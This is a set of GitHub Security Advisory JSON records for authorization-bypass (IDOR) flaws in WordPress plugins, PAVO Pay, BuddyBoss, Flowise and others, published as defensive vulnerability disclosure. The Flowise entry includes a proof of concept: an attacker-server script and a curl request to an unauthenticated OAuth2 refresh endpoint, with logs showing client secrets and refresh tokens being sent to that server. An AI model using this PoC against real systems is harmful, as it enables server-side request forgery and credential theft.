CWE-639

{
  "affected": [],
  "aliases": [
    "CVE-2025-4129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-21T14:15:29Z",
    "severity": "HIGH"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in PAVO Inc. PAVO Pay allows Exploitation of Trusted Identifiers.This issue affects PAVO Pay: before 13.05.2025.",
  "id": "GHSA-r5jf-6f2j-gqc9",
  "modified": "2026-06-05T18:31:30Z",
  "published": "2025-07-21T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4129"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0166"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-25-0166"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-1425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-16T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The WPQA Builder Plugin WordPress plugin before 5.2, used as a companion plugin for the Discy and Himer , does not validate that the message_id of the wpqa_message_view ajax action belongs to the requesting user, leading to any user being able to read messages for any other users via a Insecure Direct Object Reference (IDOR) vulnerability.",
  "id": "GHSA-r5pq-3cxr-5rmc",
  "modified": "2022-05-25T00:00:36Z",
  "published": "2022-05-17T00:01:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1425"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/b110e2f7-4aa3-47b5-a8f2-0a7fe53cc467"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-3380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-10T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insecure direct object reference (IDOR) vulnerability in ICREM H8 SSRMS allows attackers to disclose sensitive information via the Print Invoice Functionality.",
  "id": "GHSA-r62c-gw4m-r5qj",
  "modified": "2022-05-24T19:20:16Z",
  "published": "2022-05-24T19:20:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3380"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49508"
    },
    {
      "type": "WEB",
      "url": "http://height8.com"
    },
    {
      "type": "WEB",
      "url": "http://icrem.com"
    },
    {
      "type": "WEB",
      "url": "http://www.height8tech.com/carrier-grade-OSS-BSS.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-39537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-16T16:15:41Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Chimpstudio WP JobHunt allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP JobHunt: from n/a through 7.1.",
  "id": "GHSA-r66x-pvwm-7pf5",
  "modified": "2026-04-01T18:35:06Z",
  "published": "2025-05-16T18:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39537"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/woo-better-customer-list/vulnerability/wordpress-better-customer-list-for-woocommerce-plugin-1-2-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-jobhunt/vulnerability/wordpress-wp-jobhunt-7-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-5942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-29T05:15:03Z",
    "severity": "MODERATE"
  },
  "details": "The Page and Post Clone plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.0 via the \u0027content_clone\u0027 function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Author-level access and above, to clone and read private posts.",
  "id": "GHSA-r688-p362-j7qj",
  "modified": "2024-06-29T06:31:41Z",
  "published": "2024-06-29T06:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5942"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/page-or-post-clone/trunk/page-or-post-clone.php#L19"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3108149"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0931f279-2dac-4663-9344-df27b43a7e64?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-10779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-09T03:15:05Z",
    "severity": "MODERATE"
  },
  "details": "The Cowidgets \u2013 Elementor Addons plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.0 via the \u0027ce_template\u0027 shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.",
  "id": "GHSA-r6x6-p549-4h98",
  "modified": "2025-01-29T21:31:23Z",
  "published": "2024-11-09T03:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10779"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/cowidgets-elementor-addons"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ec005f9f-3f63-4d73-9bd5-dc9c4c4b8bfe?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-32669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-03T13:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Authorization bypass vulnerability in BuddyBoss 2.2.9 version, the exploitation of which could allow an authenticated user to access and rename other users\u0027 albums. This vulnerability can be exploited by changing the album identification (id).",
  "id": "GHSA-r73q-v29w-vr75",
  "modified": "2024-04-04T08:08:20Z",
  "published": "2023-10-03T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32669"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-budyboss"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T14:20:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration.\n\n### Details\n\nThe vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`.\n\nConfirmed in runtime code:\n\n1. **Unauthenticated route via whitelist**\n   - `dist/utils/constants.js` includes:\n     - `/api/v1/oauth2-credential/callback`\n     - `/api/v1/oauth2-credential/refresh`\n   - `dist/index.js` auth middleware uses:\n     - `const isWhitelisted = whitelistURLs.some((url) =\u003e req.path.startsWith(url))`\n   - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.\n\n2. **User-controlled SSRF target**\n   - In refresh handler (`dist/routes/oauth2/index.js`):\n     - loads credential by `credentialId`\n     - decrypts credential data\n     - reads `accessTokenUrl`\n     - executes:\n       - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)`\n   - No `secureAxiosRequest()` / denylist wrapper is used in this path.\n\n3. **Non-blind response reflection**\n   - Response returns:\n     - `tokenInfo: { ...tokenData, ... }`\n   - `tokenData` is the attacker/internal server response body.\n\n4. **Secrets sent to SSRF target**\n   - Request body includes:\n     - `client_id`\n     - `client_secret`\n     - `grant_type=refresh_token`\n     - `refresh_token`\n\n### PoC\n\n#### Environment used\n\n- `flowiseai/flowise:latest` container (`localhost:3000`)\n- Attacker server (`localhost:18081`) returning JSON\n\n#### Step 1: Start attacker server\n\n```bash\npython3 -u - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass H(BaseHTTPRequestHandler):\n    def do_POST(self):\n        l = int(self.headers.get(\u0027Content-Length\u0027,\u00270\u0027))\n        b = self.rfile.read(l).decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n        print(\u0027REQUEST_PATH\u0027, self.path, flush=True)\n        print(\u0027REQUEST_BODY\u0027, b, flush=True)\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(json.dumps({\u0027ok\u0027: True, \u0027source\u0027: \u0027attacker-server\u0027, \u0027echo_len\u0027: len(b)}).encode())\n    def log_message(self, fmt, *args):\n        pass\n\nHTTPServer((\u00270.0.0.0\u0027, 18081), H).serve_forever()\nPY\n```\n\n#### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)\n\nIn validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.\n\nResulting credential ID used in runtime validation:\n\n- `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef`\n\n#### Step 3: Trigger refresh **without auth**\n\n```bash\ncurl -i -X POST \\\n  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{}\u0027\n```\n\nObserved response:\n\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef\",\n  \"tokenInfo\": {\n    \"ok\": true,\n    \"source\": \"attacker-server\",\n    \"echo_len\": 76,\n    \"has_new_refresh_token\": false\n  }\n}\n```\n\nAttacker server logs captured:\n\n```text\nREQUEST_PATH /token\nREQUEST_BODY client_id=cid2\u0026client_secret=csec2\u0026grant_type=refresh_token\u0026refresh_token=r2\n```\n\nThis confirms:\n- unauthenticated trigger,\n- server-side POST to attacker-controlled URL,\n- exfiltration of OAuth2 secrets in POST body,\n- full response reflection to client (`tokenInfo`).\n\n### Impact\n\n- **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration.\n- **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials.\n- **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).\n- **Technical impact:**\n  - outbound SSRF to attacker/internal targets,\n  - direct leak of `client_secret` and `refresh_token` to SSRF target,\n  - direct response read from target via API response (`tokenInfo`).\n- **Deployment impact:**\n  - cloud/internal network reachability can expose metadata/internal services depending on egress controls.",
  "id": "GHSA-r745-8hwv-h473",
  "modified": "2026-08-04T14:20:49Z",
  "published": "2026-08-04T14:20:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-4836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-31T14:15:12Z",
    "severity": "MODERATE"
  },
  "details": "The WordPress File Sharing Plugin WordPress plugin before 2.0.5 does not check authorization before displaying files and folders, allowing users to gain access to those filed by manipulating IDs which can easily be brute forced",
  "id": "GHSA-r75f-cj9v-2727",
  "modified": "2023-11-08T21:30:34Z",
  "published": "2023-10-31T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4836"
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2023-4836-user-private-files-idor-to-sensitive-data-and-private-files-exposure-leak-of-info-poc"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/c17f2534-d791-4fe3-b45b-875777585dc6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-31941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T21:16:04Z",
    "severity": "MODERATE"
  },
  "details": "An unauthenticated attacker can obtain a list of smart devices by knowing a valid username.",
  "id": "GHSA-r77w-c9p5-cw2v",
  "modified": "2025-04-15T21:31:49Z",
  "published": "2025-04-15T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31941"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}